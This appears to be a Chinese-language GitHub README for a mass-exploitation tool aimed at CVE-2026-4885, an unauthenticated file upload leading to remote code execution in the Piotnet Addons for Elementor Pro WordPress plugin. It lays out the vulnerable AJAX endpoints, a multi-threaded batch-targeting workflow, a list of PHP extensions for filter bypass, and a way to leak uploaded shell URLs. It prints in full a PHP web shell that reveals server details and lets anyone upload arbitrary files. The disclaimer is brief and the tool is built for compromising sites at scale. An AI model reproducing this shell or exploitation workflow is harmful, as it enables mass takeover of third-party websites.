CVE-2026-4885 – Piotnet Addons for Elementor Pro 批量利用工具

未经验证的文件上传导致 Piotnet Addons for Elementor Pro ≤ 7.1.70 中的远程代码执行（RCE）。

该工具专为 批量利用 设计——提供一个目标列表，它会自动：

检测插件版本（如果找到资源文件则假定存在漏洞）
执行高级侦察，提取 post_id、form_id 和正确的上传字段名称
尝试多种 PHP 扩展名（.phtml、.php3、.php4、.phps、.pht、.php2）以绕过弱过滤器
上传一个 带有 GIF89a 头部的 PHP Shell（内置，无需外部文件）
通过 pafe_export_database 泄露上传的 Shell URL
验证 Shell 执行（查找 Logic_Internet 字符串）并将 URL 保存到 shells.txt

⚠️ 免责声明
此工具仅用于教育和授权的安全测试。
未经授权对不属于您的系统使用是违法的。

更多免责声明请查看 Jenderal92 封面上的声明。您可以在此处 !!! 查看。

功能特点

兼容 Python 2.7（如果调整 print/input，也可在 Python 3 下运行）
多线程 – 同时扫描和利用最多 20 个目标
智能表单检测 – 解析 Piotnet 特定的 HTML 属性（data-pafe-form-builder-field-name、data-elementor-id 等）
无需外部 Shell 文件 – PHP 负载嵌入在脚本中
自动补全 URL 协议 – 若缺失则自动添加 https://
广泛的路径列表 – 包含 22 个常见表单 URL（/contact、/apply、/quote、/book-appointment 等）
泄露模式 – 同时匹配 wp-content/uploads/piotnet-addons-for-elementor/ 和直接根路径

环境要求

Python 2.7（或 Python 3，需稍作修改）
requests 库

pip install requests

安装

git clone https://github.com/Jenderal92/CVE-2026-4885.git
cd CVE-2026-4885

使用方法

准备目标文件

创建一个名为 targets.txt（或其他名称）的文件，每行一个 URL：

https://example1.com
example2.com
http://vulnerable-site.org

运行利用脚本

python2 CVE-2026-4885.py targets.txt

脚本将：

· 显示每个目标的进度 · 将成功的 Shell URL 保存到 shells.txt

示例输出

[*] Loaded built-in shell (598 bytes)
[*] scanning 25 pages...
[+] found form at https://target.com/contact | post_id=13 form_id=fa2c60e field=file
[*] post_id=13 form_id=fa2c60e field=file
[*] trying .phtml
[+] uploaded .phtml
[+] shell URL: https://target.com/wp-content/uploads/piotnet-addons-for-elementor/xxx-6a11e162a6099.phtml
[+] SHELL UPLOADED -> https://target.com/wp-content/uploads/piotnet-addons-for-elementor/xxx-6a11e162a6099.phtml

命令行选项（可在脚本中自定义）

变量描述默认值 TIMEOUT HTTP 请求超时时间 10 秒 MAX_THREADS 并发线程数 20 OUTPUT_FILE 保存成功 Shell URL 的文件 shells.txt EXT_LIST 要尝试的文件扩展名 .phtml, .php3, .php4, .phps, .pht, .php2

您可以通过编辑脚本开头部分来更改这些值。

Shell 负载

内置 Shell 如下：

GIF89a;
<?php
echo 'Logic_Internet'.'<br>'.'Uname:'.php_uname().'<br>'.$cwd = getcwd();
Echo '<center>  <form method="post" target="_self" enctype="multipart/form-data">  <input type="file" size="20" name="uploads" /> <input type="submit" value="upload" />  </form>  </center>'.'<br>';
if (!empty ($_FILES['uploads'])) {
    move_uploaded_file($_FILES['uploads']['tmp_name'],$_FILES['uploads']['name']);
    Echo "<script>alert('upload Done');</script><b>Uploaded !!!</b><br>name : ".$_FILES['uploads']['name']."<br>size : ".$_FILES['uploads']['size']."<br>type : ".$_FILES['uploads']['type'];
}
?>

· 显示服务器信息、当前工作目录以及文件上传表单。 · 可替换为任何其他 PHP 代码（只需更改脚本中的 SHELL_CODE）。

工作原理

版本检测 · 搜索主页上插件资源中的 ?ver=。 · 若未找到，则回退检查已知的 CSS/JS 文件是否存在。
侦察 · 爬取常见表单页面以及主页上找到的所有内部链接。 · 从 Piotnet 特定的 HTML 属性中提取 post_id、form_id 和正确的文件上传字段名称。
上传 · 向 wp-admin/admin-ajax.php?action=pafe_ajax_form_builder 发送 multipart POST 请求。 · 使用模拟插件上传机制的 JSON 负载。 · 尝试 EXT_LIST 中的所有扩展名，直到成功。
泄露 · 请求 pafe_export_database，该端点返回包含上传文件完整 URL 的 CSV。 · 使用匹配 xxx-{random}.ext 模式的正则表达式解析 URL。
验证 · 访问泄露的 URL。 · 检查是否存在 Logic_Internet 字符串。 · 成功后将 URL 保存到 shells.txt。

故障排除

Windows 上的 UnicodeEncodeError

脚本已包含 safe_unicode() 函数用于处理非 ASCII 字符。如果仍出现错误，请确保终端支持 UTF-8：

chcp 65001

未找到表单 / 所有扩展名均失败

· 目标可能已修补或未使用 Piotnet Addons。 · 尝试增加 TIMEOUT 或 MAX_THREADS。 · 手动验证插件是否实际安装。

泄露失败但上传成功

· pafe_export_database 端点可能已被禁用或受到保护。 · 尝试在浏览器中手动访问 /wp-admin/admin-ajax.php?action=pafe_export_database 以检查是否可访问。

法律与道德使用

· 仅限在您拥有书面授权的系统上使用此工具。 · 作者对任何误用或造成的损害概不负责。 · 请遵守所有适用法律。

CVE-2026-4885

最受欢迎